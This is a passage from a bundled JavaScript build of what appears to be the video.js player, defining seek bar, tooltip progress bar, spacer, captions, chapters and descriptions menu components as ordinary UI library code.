  5137. el.setAttribute('aria-valuetext', _utilsFormatTimeJs2['default'](time, this.player_.duration())); // human readable value of progress bar (time complete)
  5138. };
  5139. /**
  5140. * Get percentage of video played
  5141. *
  5142. * @return {Number} Percentage played
  5143. * @method getPercent
  5144. */
  5145. SeekBar.prototype.getPercent = function getPercent() {
  5146. var percent = this.player_.currentTime() / this.player_.duration();
  5147. return percent >= 1 ? 1 : percent;
  5148. };
  5149. /**
  5150. * Handle mouse down on seek bar
  5151. *
  5152. * @method handleMouseDown
  5153. */
  5154. SeekBar.prototype.handleMouseDown = function handleMouseDown(event) {
  5155. _Slider.prototype.handleMouseDown.call(this, event);
  5156. this.player_.scrubbing(true);
  5157. this.videoWasPlaying = !this.player_.paused();
  5158. this.player_.pause();
  5159. };
  5160. /**
  5161. * Handle mouse move on seek bar
  5162. *
  5163. * @method handleMouseMove
  5164. */
  5165. SeekBar.prototype.handleMouseMove = function handleMouseMove(event) {
  5166. var newTime = this.calculateDistance(event) * this.player_.duration();
  5167. // Don't let video end while scrubbing.
  5168. if (newTime === this.player_.duration()) {
  5169. newTime = newTime - 0.1;
  5170. }
  5171. // Set new time (tell player to seek to new time)
  5172. this.player_.currentTime(newTime);
  5173. };
  5174. /**
  5175. * Handle mouse up on seek bar
  5176. *
  5177. * @method handleMouseUp
  5178. */
  5179. SeekBar.prototype.handleMouseUp = function handleMouseUp(event) {
  5180. _Slider.prototype.handleMouseUp.call(this, event);
  5181. this.player_.scrubbing(false);
  5182. if (this.videoWasPlaying) {
  5183. this.player_.play();
  5184. }
  5185. };
  5186. /**
  5187. * Move more quickly fast forward for keyboard-only users
  5188. *
  5189. * @method stepForward
  5190. */
  5191. SeekBar.prototype.stepForward = function stepForward() {
  5192. this.player_.currentTime(this.player_.currentTime() + 5); // more quickly fast forward for keyboard-only users
  5193. };
  5194. /**
  5195. * Move more quickly rewind for keyboard-only users
  5196. *
  5197. * @method stepBack
  5198. */
  5199. SeekBar.prototype.stepBack = function stepBack() {
  5200. this.player_.currentTime(this.player_.currentTime() - 5); // more quickly rewind for keyboard-only users
  5201. };
  5202. return SeekBar;
  5203. })(_sliderSliderJs2['default']);
  5204. SeekBar.prototype.options_ = {
  5205. children: ['loadProgressBar', 'mouseTimeDisplay', 'playProgressBar'],
  5206. 'barName': 'playProgressBar'
  5207. };
  5208. SeekBar.prototype.playerEvent = 'timeupdate';
  5209. _componentJs2['default'].registerComponent('SeekBar', SeekBar);
  5210. exports['default'] = SeekBar;
  5211. module.exports = exports['default'];
  5212. },{"../../component.js":67,"../../slider/slider.js":119,"../../utils/fn.js":144,"../../utils/format-time.js":145,"./load-progress-bar.js":77,"./play-progress-bar.js":79,"./tooltip-progress-bar.js":82,"global/window":2,"object.assign":45}],82:[function(_dereq_,module,exports){
  5213. /**
  5214. * @file play-progress-bar.js
  5215. */
  5216. 'use strict';
  5217. exports.__esModule = true;
  5218. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5219. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5220. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5221. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5222. var _componentJs = _dereq_('../../component.js');
  5223. var _componentJs2 = _interopRequireDefault(_componentJs);
  5224. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5225. var Fn = _interopRequireWildcard(_utilsFnJs);
  5226. var _utilsDomJs = _dereq_('../../utils/dom.js');
  5227. var Dom = _interopRequireWildcard(_utilsDomJs);
  5228. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  5229. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  5230. /**
  5231. * Shows play progress
  5232. *
  5233. * @param {Player|Object} player
  5234. * @param {Object=} options
  5235. * @extends Component
  5236. * @class PlayProgressBar
  5237. */
  5238. var TooltipProgressBar = (function (_Component) {
  5239. _inherits(TooltipProgressBar, _Component);
  5240. function TooltipProgressBar(player, options) {
  5241. _classCallCheck(this, TooltipProgressBar);
  5242. _Component.call(this, player, options);
  5243. this.updateDataAttr();
  5244. this.on(player, 'timeupdate', this.updateDataAttr);
  5245. player.ready(Fn.bind(this, this.updateDataAttr));
  5246. }
  5247. /**
  5248. * Create the component's DOM element
  5249. *
  5250. * @return {Element}
  5251. * @method createEl
  5252. */
  5253. TooltipProgressBar.prototype.createEl = function createEl() {
  5254. var el = _Component.prototype.createEl.call(this, 'div', {
  5255. className: 'vjs-tooltip-progress-bar vjs-slider-bar',
  5256. innerHTML: '<div class="vjs-time-tooltip"></div>\n <span class="vjs-control-text"><span>' + this.localize('Progress') + '</span>: 0%</span>'
  5257. });
  5258. this.tooltip = el.querySelector('.vjs-time-tooltip');
  5259. return el;
  5260. };
  5261. TooltipProgressBar.prototype.updateDataAttr = function updateDataAttr() {
  5262. var time = this.player_.scrubbing() ? this.player_.getCache().currentTime : this.player_.currentTime();
  5263. var formattedTime = _utilsFormatTimeJs2['default'](time, this.player_.duration());
  5264. this.el_.setAttribute('data-current-time', formattedTime);
  5265. this.tooltip.innerHTML = formattedTime;
  5266. };
  5267. return TooltipProgressBar;
  5268. })(_componentJs2['default']);
  5269. _componentJs2['default'].registerComponent('TooltipProgressBar', TooltipProgressBar);
  5270. exports['default'] = TooltipProgressBar;
  5271. module.exports = exports['default'];
  5272. },{"../../component.js":67,"../../utils/dom.js":142,"../../utils/fn.js":144,"../../utils/format-time.js":145}],83:[function(_dereq_,module,exports){
  5273. /**
  5274. * @file custom-control-spacer.js
  5275. */
  5276. 'use strict';
  5277. exports.__esModule = true;
  5278. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5279. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5280. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5281. var _spacerJs = _dereq_('./spacer.js');
  5282. var _spacerJs2 = _interopRequireDefault(_spacerJs);
  5283. var _componentJs = _dereq_('../../component.js');
  5284. var _componentJs2 = _interopRequireDefault(_componentJs);
  5285. /**
  5286. * Spacer specifically meant to be used as an insertion point for new plugins, etc.
  5287. *
  5288. * @extends Spacer
  5289. * @class CustomControlSpacer
  5290. */
  5291. var CustomControlSpacer = (function (_Spacer) {
  5292. _inherits(CustomControlSpacer, _Spacer);
  5293. function CustomControlSpacer() {
  5294. _classCallCheck(this, CustomControlSpacer);
  5295. _Spacer.apply(this, arguments);
  5296. }
  5297. /**
  5298. * Allow sub components to stack CSS class names
  5299. *
  5300. * @return {String} The constructed class name
  5301. * @method buildCSSClass
  5302. */
  5303. CustomControlSpacer.prototype.buildCSSClass = function buildCSSClass() {
  5304. return 'vjs-custom-control-spacer ' + _Spacer.prototype.buildCSSClass.call(this);
  5305. };
  5306. /**
  5307. * Create the component's DOM element
  5308. *
  5309. * @return {Element}
  5310. * @method createEl
  5311. */
  5312. CustomControlSpacer.prototype.createEl = function createEl() {
  5313. var el = _Spacer.prototype.createEl.call(this, {
  5314. className: this.buildCSSClass()
  5315. });
  5316. // No-flex/table-cell mode requires there be some content
  5317. // in the cell to fill the remaining space of the table.
  5318. el.innerHTML = '&nbsp;';
  5319. return el;
  5320. };
  5321. return CustomControlSpacer;
  5322. })(_spacerJs2['default']);
  5323. _componentJs2['default'].registerComponent('CustomControlSpacer', CustomControlSpacer);
  5324. exports['default'] = CustomControlSpacer;
  5325. module.exports = exports['default'];
  5326. },{"../../component.js":67,"./spacer.js":84}],84:[function(_dereq_,module,exports){
  5327. /**
  5328. * @file spacer.js
  5329. */
  5330. 'use strict';
  5331. exports.__esModule = true;
  5332. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5333. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5334. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5335. var _componentJs = _dereq_('../../component.js');
  5336. var _componentJs2 = _interopRequireDefault(_componentJs);
  5337. /**
  5338. * Just an empty spacer element that can be used as an append point for plugins, etc.
  5339. * Also can be used to create space between elements when necessary.
  5340. *
  5341. * @extends Component
  5342. * @class Spacer
  5343. */
  5344. var Spacer = (function (_Component) {
  5345. _inherits(Spacer, _Component);
  5346. function Spacer() {
  5347. _classCallCheck(this, Spacer);
  5348. _Component.apply(this, arguments);
  5349. }
  5350. /**
  5351. * Allow sub components to stack CSS class names
  5352. *
  5353. * @return {String} The constructed class name
  5354. * @method buildCSSClass
  5355. */
  5356. Spacer.prototype.buildCSSClass = function buildCSSClass() {
  5357. return 'vjs-spacer ' + _Component.prototype.buildCSSClass.call(this);
  5358. };
  5359. /**
  5360. * Create the component's DOM element
  5361. *
  5362. * @return {Element}
  5363. * @method createEl
  5364. */
  5365. Spacer.prototype.createEl = function createEl() {
  5366. return _Component.prototype.createEl.call(this, 'div', {
  5367. className: this.buildCSSClass()
  5368. });
  5369. };
  5370. return Spacer;
  5371. })(_componentJs2['default']);
  5372. _componentJs2['default'].registerComponent('Spacer', Spacer);
  5373. exports['default'] = Spacer;
  5374. module.exports = exports['default'];
  5375. },{"../../component.js":67}],85:[function(_dereq_,module,exports){
  5376. /**
  5377. * @file caption-settings-menu-item.js
  5378. */
  5379. 'use strict';
  5380. exports.__esModule = true;
  5381. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5382. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5383. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5384. var _textTrackMenuItemJs = _dereq_('./text-track-menu-item.js');
  5385. var _textTrackMenuItemJs2 = _interopRequireDefault(_textTrackMenuItemJs);
  5386. var _componentJs = _dereq_('../../component.js');
  5387. var _componentJs2 = _interopRequireDefault(_componentJs);
  5388. /**
  5389. * The menu item for caption track settings menu
  5390. *
  5391. * @param {Player|Object} player
  5392. * @param {Object=} options
  5393. * @extends TextTrackMenuItem
  5394. * @class CaptionSettingsMenuItem
  5395. */
  5396. var CaptionSettingsMenuItem = (function (_TextTrackMenuItem) {
  5397. _inherits(CaptionSettingsMenuItem, _TextTrackMenuItem);
  5398. function CaptionSettingsMenuItem(player, options) {
  5399. _classCallCheck(this, CaptionSettingsMenuItem);
  5400. options['track'] = {
  5401. 'kind': options['kind'],
  5402. 'player': player,
  5403. 'label': options['kind'] + ' settings',
  5404. 'selectable': false,
  5405. 'default': false,
  5406. mode: 'disabled'
  5407. };
  5408. // CaptionSettingsMenuItem has no concept of 'selected'
  5409. options['selectable'] = false;
  5410. _TextTrackMenuItem.call(this, player, options);
  5411. this.addClass('vjs-texttrack-settings');
  5412. this.controlText(', opens ' + options['kind'] + ' settings dialog');
  5413. }
  5414. /**
  5415. * Handle click on menu item
  5416. *
  5417. * @method handleClick
  5418. */
  5419. CaptionSettingsMenuItem.prototype.handleClick = function handleClick() {
  5420. this.player().getChild('textTrackSettings').show();
  5421. this.player().getChild('textTrackSettings').el_.focus();
  5422. };
  5423. return CaptionSettingsMenuItem;
  5424. })(_textTrackMenuItemJs2['default']);
  5425. _componentJs2['default'].registerComponent('CaptionSettingsMenuItem', CaptionSettingsMenuItem);
  5426. exports['default'] = CaptionSettingsMenuItem;
  5427. module.exports = exports['default'];
  5428. },{"../../component.js":67,"./text-track-menu-item.js":93}],86:[function(_dereq_,module,exports){
  5429. /**
  5430. * @file captions-button.js
  5431. */
  5432. 'use strict';
  5433. exports.__esModule = true;
  5434. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5435. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5436. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5437. var _textTrackButtonJs = _dereq_('./text-track-button.js');
  5438. var _textTrackButtonJs2 = _interopRequireDefault(_textTrackButtonJs);
  5439. var _componentJs = _dereq_('../../component.js');
  5440. var _componentJs2 = _interopRequireDefault(_componentJs);
  5441. var _captionSettingsMenuItemJs = _dereq_('./caption-settings-menu-item.js');
  5442. var _captionSettingsMenuItemJs2 = _interopRequireDefault(_captionSettingsMenuItemJs);
  5443. /**
  5444. * The button component for toggling and selecting captions
  5445. *
  5446. * @param {Object} player Player object
  5447. * @param {Object=} options Object of option names and values
  5448. * @param {Function=} ready Ready callback function
  5449. * @extends TextTrackButton
  5450. * @class CaptionsButton
  5451. */
  5452. var CaptionsButton = (function (_TextTrackButton) {
  5453. _inherits(CaptionsButton, _TextTrackButton);
  5454. function CaptionsButton(player, options, ready) {
  5455. _classCallCheck(this, CaptionsButton);
  5456. _TextTrackButton.call(this, player, options, ready);
  5457. this.el_.setAttribute('aria-label', 'Captions Menu');
  5458. }
  5459. /**
  5460. * Allow sub components to stack CSS class names
  5461. *
  5462. * @return {String} The constructed class name
  5463. * @method buildCSSClass
  5464. */
  5465. CaptionsButton.prototype.buildCSSClass = function buildCSSClass() {
  5466. return 'vjs-captions-button ' + _TextTrackButton.prototype.buildCSSClass.call(this);
  5467. };
  5468. /**
  5469. * Update caption menu items
  5470. *
  5471. * @method update
  5472. */
  5473. CaptionsButton.prototype.update = function update() {
  5474. var threshold = 2;
  5475. _TextTrackButton.prototype.update.call(this);
  5476. // if native, then threshold is 1 because no settings button
  5477. if (this.player().tech_ && this.player().tech_['featuresNativeTextTracks']) {
  5478. threshold = 1;
  5479. }
  5480. if (this.items && this.items.length > threshold) {
  5481. this.show();
  5482. } else {
  5483. this.hide();
  5484. }
  5485. };
  5486. /**
  5487. * Create caption menu items
  5488. *
  5489. * @return {Array} Array of menu items
  5490. * @method createItems
  5491. */
  5492. CaptionsButton.prototype.createItems = function createItems() {
  5493. var items = [];
  5494. if (!(this.player().tech_ && this.player().tech_['featuresNativeTextTracks'])) {
  5495. items.push(new _captionSettingsMenuItemJs2['default'](this.player_, { 'kind': this.kind_ }));
  5496. }
  5497. return _TextTrackButton.prototype.createItems.call(this, items);
  5498. };
  5499. return CaptionsButton;
  5500. })(_textTrackButtonJs2['default']);
  5501. CaptionsButton.prototype.kind_ = 'captions';
  5502. CaptionsButton.prototype.controlText_ = 'Captions';
  5503. _componentJs2['default'].registerComponent('CaptionsButton', CaptionsButton);
  5504. exports['default'] = CaptionsButton;
  5505. module.exports = exports['default'];
  5506. },{"../../component.js":67,"./caption-settings-menu-item.js":85,"./text-track-button.js":92}],87:[function(_dereq_,module,exports){
  5507. /**
  5508. * @file chapters-button.js
  5509. */
  5510. 'use strict';
  5511. exports.__esModule = true;
  5512. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5513. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5514. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5515. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5516. var _textTrackButtonJs = _dereq_('./text-track-button.js');
  5517. var _textTrackButtonJs2 = _interopRequireDefault(_textTrackButtonJs);
  5518. var _componentJs = _dereq_('../../component.js');
  5519. var _componentJs2 = _interopRequireDefault(_componentJs);
  5520. var _textTrackMenuItemJs = _dereq_('./text-track-menu-item.js');
  5521. var _textTrackMenuItemJs2 = _interopRequireDefault(_textTrackMenuItemJs);
  5522. var _chaptersTrackMenuItemJs = _dereq_('./chapters-track-menu-item.js');
  5523. var _chaptersTrackMenuItemJs2 = _interopRequireDefault(_chaptersTrackMenuItemJs);
  5524. var _menuMenuJs = _dereq_('../../menu/menu.js');
  5525. var _menuMenuJs2 = _interopRequireDefault(_menuMenuJs);
  5526. var _utilsDomJs = _dereq_('../../utils/dom.js');
  5527. var Dom = _interopRequireWildcard(_utilsDomJs);
  5528. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5529. var Fn = _interopRequireWildcard(_utilsFnJs);
  5530. var _utilsToTitleCaseJs = _dereq_('../../utils/to-title-case.js');
  5531. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  5532. var _globalWindow = _dereq_('global/window');
  5533. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  5534. /**
  5535. * The button component for toggling and selecting chapters
  5536. * Chapters act much differently than other text tracks
  5537. * Cues are navigation vs. other tracks of alternative languages
  5538. *
  5539. * @param {Object} player Player object
  5540. * @param {Object=} options Object of option names and values
  5541. * @param {Function=} ready Ready callback function
  5542. * @extends TextTrackButton
  5543. * @class ChaptersButton
  5544. */
  5545. var ChaptersButton = (function (_TextTrackButton) {
  5546. _inherits(ChaptersButton, _TextTrackButton);
  5547. function ChaptersButton(player, options, ready) {
  5548. _classCallCheck(this, ChaptersButton);
  5549. _TextTrackButton.call(this, player, options, ready);
  5550. this.el_.setAttribute('aria-label', 'Chapters Menu');
  5551. }
  5552. /**
  5553. * Allow sub components to stack CSS class names
  5554. *
  5555. * @return {String} The constructed class name
  5556. * @method buildCSSClass
  5557. */
  5558. ChaptersButton.prototype.buildCSSClass = function buildCSSClass() {
  5559. return 'vjs-chapters-button ' + _TextTrackButton.prototype.buildCSSClass.call(this);
  5560. };
  5561. /**
  5562. * Create a menu item for each text track
  5563. *
  5564. * @return {Array} Array of menu items
  5565. * @method createItems
  5566. */
  5567. ChaptersButton.prototype.createItems = function createItems() {
  5568. var items = [];
  5569. var tracks = this.player_.textTracks();
  5570. if (!tracks) {
  5571. return items;
  5572. }
  5573. for (var i = 0; i < tracks.length; i++) {
  5574. var track = tracks[i];
  5575. if (track['kind'] === this.kind_) {
  5576. items.push(new _textTrackMenuItemJs2['default'](this.player_, {
  5577. 'track': track
  5578. }));
  5579. }
  5580. }
  5581. return items;
  5582. };
  5583. /**
  5584. * Create menu from chapter buttons
  5585. *
  5586. * @return {Menu} Menu of chapter buttons
  5587. * @method createMenu
  5588. */
  5589. ChaptersButton.prototype.createMenu = function createMenu() {
  5590. var _this = this;
  5591. var tracks = this.player_.textTracks() || [];
  5592. var chaptersTrack = undefined;
  5593. var items = this.items || [];
  5594. for (var i = tracks.length - 1; i >= 0; i--) {
  5595. // We will always choose the last track as our chaptersTrack
  5596. var track = tracks[i];
  5597. if (track['kind'] === this.kind_) {
  5598. chaptersTrack = track;
  5599. break;
  5600. }
  5601. }
  5602. var menu = this.menu;
  5603. if (menu === undefined) {
  5604. menu = new _menuMenuJs2['default'](this.player_);
  5605. var title = Dom.createEl('li', {
  5606. className: 'vjs-menu-title',
  5607. innerHTML: _utilsToTitleCaseJs2['default'](this.kind_),
  5608. tabIndex: -1
  5609. });
  5610. menu.children_.unshift(title);
  5611. Dom.insertElFirst(title, menu.contentEl());
  5612. } else {
  5613. // We will empty out the menu children each time because we want a
  5614. // fresh new menu child list each time
  5615. items.forEach(function (item) {
  5616. return menu.removeChild(item);
  5617. });
  5618. // Empty out the ChaptersButton menu items because we no longer need them
  5619. items = [];
  5620. }
  5621. if (chaptersTrack && chaptersTrack.cues == null) {
  5622. chaptersTrack['mode'] = 'hidden';
  5623. var remoteTextTrackEl = this.player_.remoteTextTrackEls().getTrackElementByTrack_(chaptersTrack);
  5624. if (remoteTextTrackEl) {
  5625. remoteTextTrackEl.addEventListener('load', function (event) {
  5626. return _this.update();
  5627. });
  5628. }
  5629. }
  5630. if (chaptersTrack && chaptersTrack.cues && chaptersTrack.cues.length > 0) {
  5631. var cues = chaptersTrack['cues'],
  5632. cue = undefined;
  5633. for (var i = 0, l = cues.length; i < l; i++) {
  5634. cue = cues[i];
  5635. var mi = new _chaptersTrackMenuItemJs2['default'](this.player_, {
  5636. 'track': chaptersTrack,
  5637. 'cue': cue
  5638. });
  5639. items.push(mi);
  5640. menu.addChild(mi);
  5641. }
  5642. }
  5643. if (items.length > 0) {
  5644. this.show();
  5645. }
  5646. // Assigning the value of items back to this.items for next iteration
  5647. this.items = items;
  5648. return menu;
  5649. };
  5650. return ChaptersButton;
  5651. })(_textTrackButtonJs2['default']);
  5652. ChaptersButton.prototype.kind_ = 'chapters';
  5653. ChaptersButton.prototype.controlText_ = 'Chapters';
  5654. _componentJs2['default'].registerComponent('ChaptersButton', ChaptersButton);
  5655. exports['default'] = ChaptersButton;
  5656. module.exports = exports['default'];
  5657. },{"../../component.js":67,"../../menu/menu.js":111,"../../utils/dom.js":142,"../../utils/fn.js":144,"../../utils/to-title-case.js":151,"./chapters-track-menu-item.js":88,"./text-track-button.js":92,"./text-track-menu-item.js":93,"global/window":2}],88:[function(_dereq_,module,exports){
  5658. /**
  5659. * @file chapters-track-menu-item.js
  5660. */
  5661. 'use strict';
  5662. exports.__esModule = true;
  5663. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5664. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5665. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5666. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5667. var _menuMenuItemJs = _dereq_('../../menu/menu-item.js');
  5668. var _menuMenuItemJs2 = _interopRequireDefault(_menuMenuItemJs);
  5669. var _componentJs = _dereq_('../../component.js');
  5670. var _componentJs2 = _interopRequireDefault(_componentJs);
  5671. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5672. var Fn = _interopRequireWildcard(_utilsFnJs);
  5673. /**
  5674. * The chapter track menu item
  5675. *
  5676. * @param {Player|Object} player
  5677. * @param {Object=} options
  5678. * @extends MenuItem
  5679. * @class ChaptersTrackMenuItem
  5680. */
  5681. var ChaptersTrackMenuItem = (function (_MenuItem) {
  5682. _inherits(ChaptersTrackMenuItem, _MenuItem);
  5683. function ChaptersTrackMenuItem(player, options) {
  5684. _classCallCheck(this, ChaptersTrackMenuItem);
  5685. var track = options['track'];
  5686. var cue = options['cue'];
  5687. var currentTime = player.currentTime();
  5688. // Modify options for parent MenuItem class's init.
  5689. options['label'] = cue.text;
  5690. options['selected'] = cue['startTime'] <= currentTime && currentTime < cue['endTime'];
  5691. _MenuItem.call(this, player, options);
  5692. this.track = track;
  5693. this.cue = cue;
  5694. track.addEventListener('cuechange', Fn.bind(this, this.update));
  5695. }
  5696. /**
  5697. * Handle click on menu item
  5698. *
  5699. * @method handleClick
  5700. */
  5701. ChaptersTrackMenuItem.prototype.handleClick = function handleClick() {
  5702. _MenuItem.prototype.handleClick.call(this);
  5703. this.player_.currentTime(this.cue.startTime);
  5704. this.update(this.cue.startTime);
  5705. };
  5706. /**
  5707. * Update chapter menu item
  5708. *
  5709. * @method update
  5710. */
  5711. ChaptersTrackMenuItem.prototype.update = function update() {
  5712. var cue = this.cue;
  5713. var currentTime = this.player_.currentTime();
  5714. // vjs.log(currentTime, cue.startTime);
  5715. this.selected(cue['startTime'] <= currentTime && currentTime < cue['endTime']);
  5716. };
  5717. return ChaptersTrackMenuItem;
  5718. })(_menuMenuItemJs2['default']);
  5719. _componentJs2['default'].registerComponent('ChaptersTrackMenuItem', ChaptersTrackMenuItem);
  5720. exports['default'] = ChaptersTrackMenuItem;
  5721. module.exports = exports['default'];
  5722. },{"../../component.js":67,"../../menu/menu-item.js":110,"../../utils/fn.js":144}],89:[function(_dereq_,module,exports){
  5723. /**
  5724. * @file descriptions-button.js
  5725. */
  5726. 'use strict';
  5727. exports.__esModule = true;
  5728. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5729. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5730. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5731. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5732. var _textTrackButtonJs = _dereq_('./text-track-button.js');
  5733. var _textTrackButtonJs2 = _interopRequireDefault(_textTrackButtonJs);
  5734. var _componentJs = _dereq_('../../component.js');
  5735. var _componentJs2 = _interopRequireDefault(_componentJs);
  5736. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5737. var Fn = _interopRequireWildcard(_utilsFnJs);
  5738. /**
  5739. * The button component for toggling and selecting descriptions
  5740. *
  5741. * @param {Object} player Player object
  5742. * @param {Object=} options Object of option names and values
  5743. * @param {Function=} ready Ready callback function
  5744. * @extends TextTrackButton
  5745. * @class DescriptionsButton
  5746. */
  5747. var DescriptionsButton = (function (_TextTrackButton) {
  5748. _inherits(DescriptionsButton, _TextTrackButton);
  5749. function DescriptionsButton(player, options, ready) {
  5750. var _this = this;
  5751. _classCallCheck(this, DescriptionsButton);
  5752. _TextTrackButton.call(this, player, options, ready);
  5753. this.el_.setAttribute('aria-label', 'Descriptions Menu');
  5754. var tracks = player.textTracks();
  5755. if (tracks) {
  5756. (function () {
  5757. var changeHandler = Fn.bind(_this, _this.handleTracksChange);
  5758. tracks.addEventListener('change', changeHandler);
  5759. _this.on('dispose', function () {
  5760. tracks.removeEventListener('change', changeHandler);
  5761. });
  5762. })();
  5763. }
  5764. }
  5765. /**
  5766. * Handle text track change
  5767. *
  5768. * @method handleTracksChange
  5769. */
  5770. DescriptionsButton.prototype.handleTracksChange = function handleTracksChange(event) {
  5771. var tracks = this.player().textTracks();
  5772. var disabled = false;
  5773. // Check whether a track of a different kind is showing
  5774. for (var i = 0, l = tracks.length; i < l; i++) {
  5775. var track = tracks[i];
  5776. if (track['kind'] !== this.kind_ && track['mode'] === 'showing') {
  5777. disabled = true;
  5778. break;
  5779. }
  5780. }
  5781. // If another track is showing, disable this menu button
  5782. if (disabled) {
  5783. this.disable();
  5784. } else {
  5785. this.enable();
  5786. }
  5787. };
  5788. /**
  5789. * Allow sub components to stack CSS class names
  5790. *
  5791. * @return {String} The constructed class name
  5792. * @method buildCSSClass
  5793. */
  5794. DescriptionsButton.prototype.buildCSSClass = function buildCSSClass() {
  5795. return 'vjs-descriptions-button ' + _TextTrackButton.prototype.buildCSSClass.call(this);
  5796. };
  5797. return DescriptionsButton;
  5798. })(_textTrackButtonJs2['default']);
  5799. DescriptionsButton.prototype.kind_ = 'descriptions';
  5800. DescriptionsButton.prototype.controlText_ = 'Descriptions';
  5801. _componentJs2['default'].registerComponent('DescriptionsButton', DescriptionsButton);
  5802. exports['default'] = DescriptionsButton;
  5803. module.exports = exports['default'];
  5804. },{"../../component.js":67,"../../utils/fn.js":144,"./text-track-button.js":92}],90:[function(_dereq_,module,exports){
  5805. /**
  5806. * @file off-text-track-menu-item.js
  5807. */
  5808. 'use strict';
